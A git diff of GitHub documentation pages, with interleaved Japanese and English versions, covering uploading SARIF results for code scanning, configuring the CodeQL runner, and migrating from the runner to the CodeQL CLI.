SARIF ファイルは、{% data variables.product.prodname_codeql %} を含む多くの静的解析セキュリティテストツールを使用して生成できます。 結果は SARIF バージョン 2.1.0 を使用する必要があります。 詳細については、「[{% data variables.product.prodname_code_scanning %} の SARIF サポート](/code-security/secure-coding/sarif-support-for-code-scanning)」を参照してください。
## About SARIF file uploads for {% data variables.product.prodname_code_scanning %}
結果は、{% data variables.product.prodname_actions %}、{% data variables.product.prodname_code_scanning %} API、{% ifversion codeql-runner-supported %} {% data variables.product.prodname_codeql_runner %}、{% endif %} または {% data variables.product.prodname_codeql_cli %} を使ってアップロードできます。 最適なアップロード方法は、SARIF ファイルの生成方法によって異なります。以下、例を示します。
{% data variables.product.prodname_dotcom %} creates {% data variables.product.prodname_code_scanning %} alerts in a repository using information from Static Analysis Results Interchange Format (SARIF) files. SARIF files can be uploaded to a repository using the API or {% data variables.product.prodname_actions %}. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)."
- {% data variables.product.prodname_actions %} を使用して {% data variables.product.prodname_codeql %} アクションを実行している場合、追加のアクションは不要です。 {% data variables.product.prodname_codeql %} アクションは、分析の完了時に SARIF ファイルを自動的にアップロードします。
- {% data variables.product.prodname_actions %} を使用して SARIF 互換の分析ツールを実行します。ワークフローを更新して、結果をアップロードする最後の手順を含めることができます (下記を参照)。
- {% data variables.product.prodname_codeql_cli %} は、CI システムで {% data variables.product.prodname_code_scanning %} を実行するために、CLI を使用して結果を {% data variables.product.prodname_dotcom %} にアップロードできます (詳細については、「[CI システムでの {% data variables.product.prodname_codeql_cli %} のインストール](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)」を参照してください)。{% ifversion codeql-runner-supported %}
- {% data variables.product.prodname_codeql_runner %} は、CI システムで {% data variables.product.prodname_code_scanning %} を実行するために、既定では、ランナーは完了時に結果を {% data variables.product.prodname_dotcom %} に自動的にアップロードします。 自動アップロードをブロックする場合、結果をアップロードする準備ができたら、`upload` コマンドを使用できます (詳細については、「[CI システムでの {% data variables.product.prodname_codeql_runner %} の実行](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)」を参照してください)。{% endif %}
- リポジトリの外部で成果物として結果を生成するツールでは、{% data variables.product.prodname_code_scanning %} API を使用してファイルをアップロードできます (詳細については、「[SARIF データとして分析をアップロードする](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)」を参照してください)。
You can generate SARIF files using many static analysis security testing tools, including {% data variables.product.prodname_codeql %}. The results must use SARIF version 2.1.0. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)."
You can upload the results using {% data variables.product.prodname_actions %}, the {% data variables.product.prodname_code_scanning %} API,{% ifversion codeql-runner-supported %} the {% data variables.code-scanning.codeql_runner %},{% endif %} or the {% data variables.product.prodname_codeql_cli %}. The best upload method will depend on how you generate the SARIF file, for example, if you use:
- {% data variables.product.prodname_actions %} to run the {% data variables.product.prodname_codeql %} action, there is no further action required. The {% data variables.product.prodname_codeql %} action uploads the SARIF file automatically when it completes analysis.
- {% data variables.product.prodname_actions %} to run a SARIF-compatible analysis tool, you could update the workflow to include a final step that uploads the results (see below).
- The {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} in your CI system, you can use the CLI to upload results to {% data variables.product.prodname_dotcom %} (for more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)").{% ifversion codeql-runner-supported %}
- The {% data variables.code-scanning.codeql_runner %}, to run {% data variables.product.prodname_code_scanning %} in your CI system, by default the runner automatically uploads results to {% data variables.product.prodname_dotcom %} on completion. If you block the automatic upload, when you are ready to upload results you can use the `upload` command (for more information, see "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)").{% endif %}
- A tool that generates results as an artifact outside of your repository, you can use the {% data variables.product.prodname_code_scanning %} API to upload the file (for more information, see "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)").
{% data reusables.code-scanning.not-available %}
## {% data variables.product.prodname_actions %} での {% data variables.product.prodname_code_scanning %} 分析をアップロードする
## Uploading a {% data variables.product.prodname_code_scanning %} analysis with {% data variables.product.prodname_actions %}
{% data variables.product.prodname_actions %} を使用してサードパーティの SARIF ファイルをリポジトリにアップロードするには、ワークフローが必要です。 詳細については、「[{% data variables.product.prodname_actions %} について学ぶ](/actions/learn-github-actions)」を参照してください。
To use {% data variables.product.prodname_actions %} to upload a third-party SARIF file to a repository, you'll need a workflow. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
ワークフローでは、`github/codeql-action` リポジトリの一部である `upload-sarif` アクションを使用する必要があります。 これには、アップロードの設定に使用できる入力パラメータがあります。 使用する主な入力パラメーターは次のとおりです。
Your workflow will need to use the `upload-sarif` action, which is part of the `github/codeql-action` repository. It has input parameters that you can use to configure the upload. The main input parameters you'll use are:
- `sarif-file` は、アップロードする SARIF ファイルのファイルまたはディレクトリを構成します。 ディレクトリまたはファイルのパスは、リポジトリのルートからの相対パスです。
- `category` (省略可能) は、SARIF ファイルで結果のカテゴリを割り当てます。 これにより、複数の方法で同じコミットを分析し、{% data variables.product.prodname_dotcom %} の {% data variables.product.prodname_code_scanning %} ビューを使用して結果を確認できます。 たとえば、複数のツールを使用して分析できます。mono リポジトリでは、変更されたファイルのサブセットに基づいてリポジトリのさまざまなスライスを分析できます。
- `sarif-file`, which configures the file or directory of SARIF files to be uploaded. The directory or file path is relative to the root of the repository.
- `category` (optional), which assigns a category for results in the SARIF file. This enables you to analyze the same commit in multiple ways and review the results using the {% data variables.product.prodname_code_scanning %} views in {% data variables.product.prodname_dotcom %}. For example, you can analyze using multiple tools, and in mono-repos, you can analyze different slices of the repository based on the subset of changed files.
詳細については、「[`upload-sarif` アクション](https://github.com/github/codeql-action/tree/{% ifversion actions-node16-action %}v2{% else %}v1{% endif %}/upload-sarif)」を参照してください。
For more information see the [`upload-sarif` action](https://github.com/github/codeql-action/tree/{% ifversion actions-node16-action %}v2{% else %}v1{% endif %}/upload-sarif).
`upload-sarif` アクションは、`push` および `scheduled` イベントが発生したときに実行されるように構成できます。 {% data variables.product.prodname_actions %} イベントの詳細については、「[ワークフローをトリガーするイベント](/actions/reference/events-that-trigger-workflows)」を参照してください。
The `upload-sarif` action can be configured to run when the `push` and `scheduled` event occur. For more information about {% data variables.product.prodname_actions %} events, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
SARIFファイルに `partialFingerprints` が含まれていない場合、`upload-sarif` アクションは `partialFingerprints` フィールドを自動的に計算して、重複するアラートが発生しないようにします。 {% data variables.product.prodname_dotcom %} では、リポジトリに SARIF ファイルと、スタティック分析で使用されるソース コードの両方が含まれている場合にのみ、`partialFingerprints` を作成できます。 重複するアラートの防止方法の詳細については、[コード スキャンの SARIF サポート](/code-security/secure-coding/sarif-support-for-code-scanning#providing-data-to-track-code-scanning-alerts-across-runs)に関するセクションを参照してください。
If your SARIF file doesn't include `partialFingerprints`, the `upload-sarif` action will calculate the `partialFingerprints` field for you and attempt to prevent duplicate alerts. {% data variables.product.prodname_dotcom %} can only create `partialFingerprints` when the repository contains both the SARIF file and the source code used in the static analysis. For more information about preventing duplicate alerts, see "[About SARIF support for code scanning](/code-security/secure-coding/sarif-support-for-code-scanning#providing-data-to-track-code-scanning-alerts-across-runs)."
{% data reusables.code-scanning.upload-sarif-alert-limit %}
### リポジトリ外で生成された SARIF ファイルのワークフロー例
### Example workflow for SARIF files generated outside of a repository
SARIF ファイルをリポジトリにコミットした後でアップロードする新しいワークフローを作成できます。 これは、SARIF ファイルがご自分のリポジトリの外部の成果物として生成される場合に便利です。
You can create a new workflow that uploads SARIF files after you commit them to your repository. This is useful when the SARIF file is generated as an artifact outside of your repository.
この例のワークフローは、コミットがリポジトリにプッシュされるたびに実行されます。 このアクションでは、`partialFingerprints` プロパティを使用して、変更が発生したかどうかを確認します。 コミットがプッシュされたときの実行に加えて、ワークフローは週に 1 回実行されるようにスケジュールされています。 詳細については、「[ワークフローをトリガーするイベント](/actions/reference/events-that-trigger-workflows)」を参照してください。
This example workflow runs anytime commits are pushed to the repository. The action uses the `partialFingerprints` property to determine if changes have occurred. In addition to running when commits are pushed, the workflow is scheduled to run once per week. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
このワークフローは、リポジトリのルートにある `results.sarif` ファイルをアップロードします。 ワークフロー ファイルの作成の詳細については、「[{% data variables.product.prodname_actions %} について学ぶ](/actions/learn-github-actions)」を参照してください。
This workflow uploads the `results.sarif` file located in the root of the repository. For more information about creating a workflow file, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
または、このワークフローを変更して、SARIF ファイルのディレクトリをアップロードすることもできます。 たとえば、すべての SARIF ファイルをリポジトリのルートにある `sarif-output` というディレクトリに配置し、アクションの入力パラメーター `sarif_file` `sarif-output` に設定できます。 ディレクトリをアップロードする場合、各 SARIF ファイルには、結果のカテゴリを定義するための一意の `runAutomationDetails.id` が含まれている必要があることにご注意ください。 詳細については、「[`runAutomationDetails` オブジェクト](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning#runautomationdetails-object)」を参照してください。
Alternatively, you could modify this workflow to upload a directory of SARIF files. For example, you could place all SARIF files in a directory in the root of your repository called `sarif-output` and set the action's input parameter `sarif_file` to `sarif-output`. Note that if you upload a directory, each SARIF file must include a unique `runAutomationDetails.id` to define the category for the results. For more information, see "[`runAutomationDetails` object](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning#runautomationdetails-object)."
```yaml
name: "Upload SARIF"
@@ -108,13 +105,13 @@ jobs:
category: my-analysis-tool
```
### ESLint 分析ツールを実行するワークフローの例
### Example workflow that runs the ESLint analysis tool
継続的インテグレーション (CI) ワークフローの一部としてサードパーティの SARIF ファイルを生成する場合は、CI テストを実行した後に `upload-sarif` アクションをステップとして追加できます。 CI ワークフローがない場合は、{% data variables.product.prodname_actions %} テンプレートを使用して作成できます。 詳細については、[{% data variables.product.prodname_actions %} クイックスタート](/actions/quickstart)に関するページを参照してください。
If you generate your third-party SARIF file as part of a continuous integration (CI) workflow, you can add the `upload-sarif` action as a step after running your CI tests. If you don't already have a CI workflow, you can create one using a {% data variables.product.prodname_actions %} template. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)."
この例のワークフローは、コミットがリポジトリにプッシュされるたびに実行されます。 このアクションでは、`partialFingerprints` プロパティを使用して、変更が発生したかどうかを確認します。 コミットがプッシュされたときの実行に加えて、ワークフローは週に 1 回実行されるようにスケジュールされています。 詳細については、「[ワークフローをトリガーするイベント](/actions/reference/events-that-trigger-workflows)」を参照してください。
This example workflow runs anytime commits are pushed to the repository. The action uses the `partialFingerprints` property to determine if changes have occurred. In addition to running when commits are pushed, the workflow is scheduled to run once per week. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
ワークフローでは、ESLint 静的分析ツールをワークフローのステップとして実行する例を示しています。 `Run ESLint` ステップは、ESLint ツールを実行し、`results.sarif` ファイルを出力します。 その後、ワークフローにより、`upload-sarif` アクションが使用され `results.sarif` ファイルが {% data variables.product.prodname_dotcom %} にアップロードされます。 ワークフロー ファイルの作成の詳細については、「[GitHub Actions の概要](/actions/learn-github-actions/introduction-to-github-actions)」を参照してください。
The workflow shows an example of running the ESLint static analysis tool as a step in a workflow. The `Run ESLint` step runs the ESLint tool and outputs the `results.sarif` file. The workflow then uploads the `results.sarif` file to {% data variables.product.prodname_dotcom %} using the `upload-sarif` action. For more information about creating a workflow file, see "[Introduction to GitHub Actions](/actions/learn-github-actions/introduction-to-github-actions)."
```yaml
name: "ESLint analysis"
@@ -150,9 +147,9 @@ jobs:
sarif_file: results.sarif
```
## 参考資料
## Further reading
- [{% data variables.product.prodname_actions %} のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions)
- "[ワークフローの履歴を表示する](/actions/managing-workflow-runs/viewing-workflow-run-history)"
- "[CI システムでの {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} について](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)"
- "[分析を SARIF データとしてアップロードする](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)"
- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)"
- "[Viewing your workflow history](/actions/managing-workflow-runs/viewing-workflow-run-history)"
- "[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)"
- "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)"

View File

@@ -57,7 +57,7 @@ You can display the command-line help for any command using the <nobr>`--help`</
4. Run `codeql database create` from the checkout root of your repository and build the codebase.
```shell
# Single supported language - create one CodeQL databsae
# Single supported language - create one CodeQL database
codeql database create &lt;database&gt; --command&lt;build&gt; --language=&lt;language-identifier&gt;
# Multiple supported languages - create one CodeQL database per language

View File

@@ -1,7 +1,7 @@
---
title: Configuring CodeQL runner in your CI system
shortTitle: Configure CodeQL runner
intro: 'You can configure how the {% data variables.product.prodname_codeql_runner %} scans the code in your project and uploads the results to {% data variables.product.prodname_dotcom %}.'
intro: 'You can configure how the {% data variables.code-scanning.codeql_runner %} scans the code in your project and uploads the results to {% data variables.product.prodname_dotcom %}.'
product: '{% data reusables.gated-features.code-scanning %}'
miniTocMaxHeadingLevel: 3
redirect_from:
@@ -33,18 +33,18 @@ topics:
## About configuring {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system
To integrate {% data variables.product.prodname_code_scanning %} into your CI system, you can use the {% data variables.product.prodname_codeql_runner %}. For more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)."
To integrate {% data variables.product.prodname_code_scanning %} into your CI system, you can use the {% data variables.code-scanning.codeql_runner %}. For more information, see "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)."
In general, you invoke the {% data variables.product.prodname_codeql_runner %} as follows.
In general, you invoke the {% data variables.code-scanning.codeql_runner %} as follows.
```shell
$ /path/to-runner/codeql-runner-OS <COMMAND> <FLAGS>
```
`/path/to-runner/` depends on where you've downloaded the {% data variables.product.prodname_codeql_runner %} on your CI system. `codeql-runner-OS` depends on the operating system you use.
There are three versions of the {% data variables.product.prodname_codeql_runner %}, `codeql-runner-linux`, `codeql-runner-macos`, and `codeql-runner-win`, for Linux, macOS, and Windows systems respectively.
`/path/to-runner/` depends on where you've downloaded the {% data variables.code-scanning.codeql_runner %} on your CI system. `codeql-runner-OS` depends on the operating system you use.
There are three versions of the {% data variables.code-scanning.codeql_runner %}, `codeql-runner-linux`, `codeql-runner-macos`, and `codeql-runner-win`, for Linux, macOS, and Windows systems respectively.
To customize the way the {% data variables.product.prodname_codeql_runner %} scans your code, you can use flags, such as `--languages` and `--queries`, or you can specify custom settings in a separate configuration file.
To customize the way the {% data variables.code-scanning.codeql_runner %} scans your code, you can use flags, such as `--languages` and `--queries`, or you can specify custom settings in a separate configuration file.
## Scanning pull requests
@@ -64,7 +64,7 @@ $ /path/to-runner/codeql-runner-linux analyze --ref refs/pull/42/merge
## Overriding automatic language detection
The {% data variables.product.prodname_codeql_runner %} automatically detects and scans code written in the supported languages.
The {% data variables.code-scanning.codeql_runner %} automatically detects and scans code written in the supported languages.
{% data reusables.code-scanning.codeql-languages-bullets %}
@@ -84,11 +84,11 @@ $ /path/to-runner/codeql-runner-linux init --languages cpp,java
To add one or more queries, pass a comma-separated list of paths to the `--queries` flag of the `init` command. You can also specify additional queries in a configuration file.
If you also are using a configuration file for custom settings, and you are also specifying additional queries with the `--queries` flag, the {% data variables.product.prodname_codeql_runner %} uses the additional queries specified with the <nobr>`--queries`</nobr> flag instead of any in the configuration file.
If you also are using a configuration file for custom settings, and you are also specifying additional queries with the `--queries` flag, the {% data variables.code-scanning.codeql_runner %} uses the additional queries specified with the <nobr>`--queries`</nobr> flag instead of any in the configuration file.
If you want to run the combined set of additional queries specified with the flag and in the configuration file, prefix the value passed to <nobr>`--queries`</nobr> with the `+` symbol.
For more information, see "[Using a custom configuration file](#using-a-custom-configuration-file)."
In the following example, the `+` symbol ensures that the {% data variables.product.prodname_codeql_runner %} uses the additional queries together with any queries specified in the referenced configuration file.
In the following example, the `+` symbol ensures that the {% data variables.code-scanning.codeql_runner %} uses the additional queries together with any queries specified in the referenced configuration file.
```shell
$ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-config.yml
@@ -97,7 +97,7 @@ $ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-c
## Using a custom configuration file
Instead of passing additional information to the {% data variables.product.prodname_codeql_runner %} commands, you can specify custom settings in a separate configuration file.
Instead of passing additional information to the {% data variables.code-scanning.codeql_runner %} commands, you can specify custom settings in a separate configuration file.
The configuration file is a YAML file. It uses syntax similar to the workflow syntax for {% data variables.product.prodname_actions %}, as illustrated in the examples below. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)."
@@ -117,7 +117,7 @@ $ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-c
For the compiled languages C/C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} and Java, {% data variables.product.prodname_codeql %} builds the code before analyzing it. {% data reusables.code-scanning.analyze-go %}
For many common build systems, the {% data variables.product.prodname_codeql_runner %} can build the code automatically. To attempt to build the code automatically, run `autobuild` between the `init` and `analyze` steps. Note that if your repository requires a specific version of a build tool, you may need to install the build tool manually first.
For many common build systems, the {% data variables.code-scanning.codeql_runner %} can build the code automatically. To attempt to build the code automatically, run `autobuild` between the `init` and `analyze` steps. Note that if your repository requires a specific version of a build tool, you may need to install the build tool manually first.
The `autobuild` process only ever attempts to build _one_ compiled language for a repository. The language automatically selected for analysis is the language with the most files. If you want to choose a language explicitly, use the `--language` flag of the `autobuild` command.
@@ -125,33 +125,33 @@ The `autobuild` process only ever attempts to build _one_ compiled language for
$ /path/to-runner/codeql-runner-linux autobuild --language csharp
```
If the `autobuild` command can't build your code, you can run the build steps yourself, between the `init` and `analyze` steps. For more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system#compiled-language-example)."
If the `autobuild` command can't build your code, you can run the build steps yourself, between the `init` and `analyze` steps. For more information, see "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system#compiled-language-example)."
## Uploading {% data variables.product.prodname_code_scanning %} data to {% data variables.product.prodname_dotcom %}
By default, the {% data variables.product.prodname_codeql_runner %} uploads results from {% data variables.product.prodname_code_scanning %} when you run the `analyze` command. You can also upload SARIF files separately, by using the `upload` command.
By default, the {% data variables.code-scanning.codeql_runner %} uploads results from {% data variables.product.prodname_code_scanning %} when you run the `analyze` command. You can also upload SARIF files separately, by using the `upload` command.
Once you've uploaded the data, {% data variables.product.prodname_dotcom %} displays the alerts in your repository.
- If you uploaded to a pull request, for example `--ref refs/pull/42/merge` or `--ref refs/pull/42/head`, then the results appear as alerts in a pull request check. For more information, see "[Triaging code scanning alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)."
- If you uploaded to a branch, for example `--ref refs/heads/my-branch`, then the results appear in the **Security** tab for your repository. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
## {% data variables.product.prodname_codeql_runner %} command reference
## {% data variables.code-scanning.codeql_runner %} command reference
The {% data variables.product.prodname_codeql_runner %} supports the following commands and flags.
The {% data variables.code-scanning.codeql_runner %} supports the following commands and flags.
### `init`
Initializes the {% data variables.product.prodname_codeql_runner %} and creates a {% data variables.product.prodname_codeql %} database for each language to be analyzed.
Initializes the {% data variables.code-scanning.codeql_runner %} and creates a {% data variables.product.prodname_codeql %} database for each language to be analyzed.
| Flag | Required | Input value |
| ---- |:--------:| ----------- |
| `--repository` | ✓ | Name of the repository to initialize. |
| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. |
| <nobr>`--github-auth-stdin`</nobr> | ✓ | Read the {% data variables.product.prodname_github_apps %} token or {% data variables.product.pat_generic %} from standard input. |
| `--languages` | | Comma-separated list of languages to analyze. By default, the {% data variables.product.prodname_codeql_runner %} detects and analyzes all supported languages in the repository. |
| `--languages` | | Comma-separated list of languages to analyze. By default, the {% data variables.code-scanning.codeql_runner %} detects and analyzes all supported languages in the repository. |
| `--queries` | | Comma-separated list of additional queries to run, in addition to the default suite of security queries. This overrides the `queries` setting in the custom configuration file. |
| `--config-file` | | Path to custom configuration file. |
| `--codeql-path` | | Path to a copy of the {% data variables.product.prodname_codeql %} CLI executable to use. By default, the {% data variables.product.prodname_codeql_runner %} downloads a copy. |
| `--codeql-path` | | Path to a copy of the {% data variables.product.prodname_codeql %} CLI executable to use. By default, the {% data variables.code-scanning.codeql_runner %} downloads a copy. |
| `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. |
| `--tools-dir` | | Directory where {% data variables.product.prodname_codeql %} tools and other files are stored between runs. The default is a subdirectory of the home directory. |
| <nobr>`--checkout-path`</nobr> | | The path to the checkout of your repository. The default is the current working directory. |
@@ -166,7 +166,7 @@ Attempts to build the code for the compiled languages C/C++, C#, and Java. For t
| Flag | Required | Input value |
| ---- |:--------:| ----------- |
| `--language` | | The language to build. By default, the {% data variables.product.prodname_codeql_runner %} builds the compiled language with the most files. |
| `--language` | | The language to build. By default, the {% data variables.code-scanning.codeql_runner %} builds the compiled language with the most files. |
| <nobr>`--temp-dir`</nobr> | | Directory where temporary files are stored. The default is `./codeql-runner`. |
| `--debug` | | None. Prints more verbose output. |
| <nobr> `-h`, `--help`</nobr> | | None. Displays help for the command. |
@@ -183,7 +183,7 @@ Analyzes the code in the {% data variables.product.prodname_codeql %} databases
| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. |
| <nobr>`--github-auth-stdin`</nobr> | ✓ | Read the {% data variables.product.prodname_github_apps %} token or {% data variables.product.pat_generic %} from standard input. |
| <nobr>`--checkout-path`</nobr> | | The path to the checkout of your repository. The default is the current working directory. |
| `--no-upload` | | None. Stops the {% data variables.product.prodname_codeql_runner %} from uploading the results to {% data variables.product.product_name %}. |
| `--no-upload` | | None. Stops the {% data variables.code-scanning.codeql_runner %} from uploading the results to {% data variables.product.product_name %}. |
| `--output-dir` | | Directory where the output SARIF files are stored. The default is in the directory of temporary files. |
| `--ram` | | Amount of memory to use when running queries. The default is to use all available memory. |
| <nobr>`--no-add-snippets`</nobr> | | None. Excludes code snippets from the SARIF output. |

View File

@@ -1,7 +1,7 @@
---
title: CodeQL ランナーから CodeQL CLI への移行
title: Migrating from the CodeQL runner to CodeQL CLI
shortTitle: Migrating from the CodeQL runner
intro: '{% data variables.product.prodname_codeql_cli %} を使用して、{% data variables.product.prodname_codeql_runner %} と同じタスクを完了できます。'
intro: 'You can use the {% data variables.product.prodname_codeql_cli %} to complete the same tasks as with the {% data variables.code-scanning.codeql_runner %}.'
product: '{% data reusables.gated-features.code-scanning %}'
versions:
fpt: '*'
@@ -12,57 +12,52 @@ topics:
- Advanced Security
- Code scanning
- CodeQL
ms.openlocfilehash: c58dfe006a1f9189ece847559d5ecfafde1f7d81
ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/10/2022
ms.locfileid: '145116062'
---
# {% data variables.product.prodname_codeql_runner %} から {% data variables.product.prodname_codeql_cli %} への移行
{% data variables.product.prodname_codeql_runner %} は非推奨になりました。 代わりに {% data variables.product.prodname_codeql_cli %} バージョン 2.6.2 以降をお使いいただけます。
このドキュメントでは、一般的なワークフローを {% data variables.product.prodname_codeql_runner %} から {% data variables.product.prodname_codeql_cli %} に移行する方法について説明します。
# Migrating from the {% data variables.code-scanning.codeql_runner %} to the {% data variables.product.prodname_codeql_cli %}
## インストール
The {% data variables.code-scanning.codeql_runner %} is being deprecated. You can use the {% data variables.product.prodname_codeql_cli %} version 2.6.2 and greater instead.
This document describes how to migrate common workflows from the {% data variables.code-scanning.codeql_runner %} to the {% data variables.product.prodname_codeql_cli %}.
**{% data variables.product.prodname_codeql %} バンドルを** [`github/codeql-action` リポジトリ](https://github.com/github/codeql-action/releases)からダウンロードします。 このバンドルには、{% data variables.product.prodname_codeql_cli %} および、標準の {% data variables.product.prodname_codeql %} クエリとライブラリが含まれています。
## Installation
{% data variables.product.prodname_codeql_cli %} の設定の詳細については、「[CI システムでの {% data variables.product.prodname_codeql_cli %} のインストール](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)」を参照してください。
Download the **{% data variables.product.prodname_codeql %} bundle** from the [`github/codeql-action` repository](https://github.com/github/codeql-action/releases). This bundle contains the {% data variables.product.prodname_codeql_cli %} and the standard {% data variables.product.prodname_codeql %} queries and libraries.
## ワークフローの変更の概要
For more information on setting up the {% data variables.product.prodname_codeql_cli %}, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)."
{% data variables.product.prodname_codeql_runner %} を使用してコードベースを分析する一般的なワークフローには、次の手順があります。
- `codeql-runner-<platform> init` により、{% data variables.product.prodname_codeql %} データベースの作成を開始して、構成を読み取ります。
- コンパイル済み言語の場合: `init` ステップによって生成される環境変数を設定します。
- コンパイル済み言語の場合: 自動ビルドまたは手動ビルド手順を実行します。
- `codeql-runner-<platform> analyze` により {% data variables.product.prodname_codeql %} データベースの作成を完了し、クエリを実行して各 {% data variables.product.prodname_codeql %} データベースを分析して、SARIF ファイルで結果を要約し、結果を {% data variables.product.prodname_dotcom %} にアップロードします。
## Overview of workflow changes
{% data variables.product.prodname_codeql_cli %} を使用してコードベースを分析する一般的なワークフローには、次の手順があります。
- `codeql database create` によって、{% data variables.product.prodname_codeql %} データベースを作成します。
- コンパイル済み言語の場合: 必要に応じてビルド コマンドを指定します。
- `codeql database analyze` では、クエリを実行して各 {% data variables.product.prodname_codeql %} データベースを分析し、結果を SARIF ファイルにまとめます。 このコマンドは、言語またはデータベースごとに 1 回実行する必要があります。
- `codeql github upload-results` により、結果の SARIF ファイルを {% data variables.product.prodname_dotcom %} にアップロードし、コード スキャン アラートとして表示します。 このコマンドは、言語または SARIF ファイルごとに 1 回実行する必要があります。
A typical workflow that uses the {% data variables.code-scanning.codeql_runner %} to analyze a codebase has the following steps.
- `codeql-runner-<platform> init` to start creating {% data variables.product.prodname_codeql %} databases and read the configuration.
- For compiled languages: set environment variables produced by the `init` step.
- For compiled languages: run autobuild or manual build steps.
- `codeql-runner-<platform> analyze` to finish creating {% data variables.product.prodname_codeql %} databases, run queries to analyze each {% data variables.product.prodname_codeql %} database, summarize the results in a SARIF file, and upload the results to {% data variables.product.prodname_dotcom %}.
{% data variables.product.prodname_codeql_runner %} は、既定ではマルチスレッドです。 既定では、{% data variables.product.prodname_codeql_cli %} により単一のスレッドのみが使用されますが、使用するスレッドの数を指定できます。 {% data variables.product.prodname_codeql_runner %} の動作をレプリケートして、{% data variables.product.prodname_codeql_cli %} を使用するときにマシンで使用可能なすべてのスレッドを使用する場合は、`--threads 0``codeql database analyze` に渡します。
A typical workflow that uses the {% data variables.product.prodname_codeql_cli %} to analyze a codebase has the following steps.
- `codeql database create` to create {% data variables.product.prodname_codeql %} databases.
- For compiled languages: Optionally provide a build command.
- `codeql database analyze` to run queries to analyze each {% data variables.product.prodname_codeql %} database and summarize the results in a SARIF file. This command must be run once for each language or database.
- `codeql github upload-results` to upload the resulting SARIF files to {% data variables.product.prodname_dotcom %}, to be displayed as code scanning alerts. This command must be run once for each language or SARIF file.
詳細については、「[CI システムでの {% data variables.product.prodname_codeql_cli %} の構成](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)」を参照してください。
The {% data variables.code-scanning.codeql_runner %} is multithreaded by default. The {% data variables.product.prodname_codeql_cli %} only uses a single thread by default, but allows you to specify the amount of threads you want it to use. If you want to replicate the behavior of the {% data variables.code-scanning.codeql_runner %} to use all threads available on the machine when using the {% data variables.product.prodname_codeql_cli %}, you can pass `--threads 0` to `codeql database analyze`.
## {% data variables.product.prodname_codeql_cli %} の一般的な使用例
For more information, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)."
### 例について
## Examples of common uses for the {% data variables.product.prodname_codeql_cli %}
これらの例では、ソース コードが現在の作業ディレクトリにチェックアウトされていることを前提としています。 別のディレクトリを使用する場合は、それに応じて `--source-root` 引数とビルド手順を変更します。
### About the examples
また、これらの例では、{% data variables.product.prodname_codeql_cli %} が現在の PATH に配置されていることも前提としています。
These examples assume that the source code has been checked out to the current working directory. If you use a different directory, change the `--source-root` argument and the build steps accordingly.
